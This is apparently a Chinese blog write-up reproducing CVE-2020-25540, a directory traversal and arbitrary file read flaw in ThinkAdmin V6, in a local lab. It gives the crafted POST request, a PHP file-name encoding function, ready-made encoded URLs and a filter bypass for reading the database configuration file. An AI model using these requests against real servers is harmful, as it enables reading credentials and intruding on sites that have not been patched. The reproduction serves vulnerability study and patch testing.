ThinkAdminV6 CVE-2020-25540 目录遍历文件读取漏洞

POC:https://github.com/Schira4396/CVE-2020-25540/blob/main/poc.pyhttps://github.com/Schira4396/CVE-2020-25540/blob/main/poc.py

http://xx.xx.xx:xx/admin.html?s=admin/api.Update/get/encode/302x2r2t32372t

/public/robots.txt:  302x2r2t32372t

license: 302x2r2t32372t

/config/database.php:  1b2r33322u2x2v1b2s2p382p2q2p372t1a342w34

http://xx.xx.xx:xx/admin.html?s=admin/api.Update/get/encode/1b2r33322u2x2v1b2s2p382p2q2p372t1a342w34

影响版本:

ThinkAdmin版本 ≤ 2020.08.03.01

漏洞详解:

https://github.com/zoujingli/ThinkAdmin/issues/244https://github.com/zoujingli/ThinkAdmin/issues/244

本地复现环境:

小皮面板(php 7.1.9,MySQL5.7.26), ThinkAdmin V6 漏洞版本。

环境搭建后,导入数据库,使用命令启动php think run,访问http://127.0.0.1:8000/

漏洞复现:

1. 目录文件遍历

Burp Suite抓首页包。

变更请求为POST,修改请求URL,添加POST参数rules。rules参数使用URL编码。

rules=["/"]  -> rules=%5b%22%2f%22%5d

POST /admin.html?s=admin/api.Update/node HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=d730c275e3b6fc8dc4f0f6ea8f62c4b3
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

rules=%5b%22%2f%22%5d

 返回文件信息。

返回的目录文件为当前应用根目录,不是系统根目录。

rules=["../"] 可以向上层目录移动。目录遍历内容超出限制会报错。

2. 任意文件读取

<?php 
    function encode($content) { 
    	//加密正常文件名 
    	list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT',$content))]; 
    	
    	//加密中文文件名 
    	//list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GB2312', $content))]; 
    	for ($i = 0; $i < $length; $i++) 
    	    $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); 
    	return $chars; 
    }
    $content="readme.md";echo encode($content);
?>

在线运行PHP地址:代码在线运行 - 在线工具

读取当前根目录的license文件,使用上面的加密函数生成文件名 302x2r2t32372t。

GET请求地址,即可获取文件信息,使用base64解码得到文件内容:

http://192.168.80.111:8000/admin.html?s=admin/api.Update/get/encode

 base64解码:

ThinkAdmin限制读取的路径:

configpublic/staticpublic/router.phppublic/index.phpapp/adminapp/wechat

读取database.php失败,可以利用database"php来绕过。

读取database.php的数据库配置信息。

 base64转码(UTF-8编码)Base64在线编码解码 UTF-8http://tools.jb51.net/tools/base64_decode-utf8.php

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值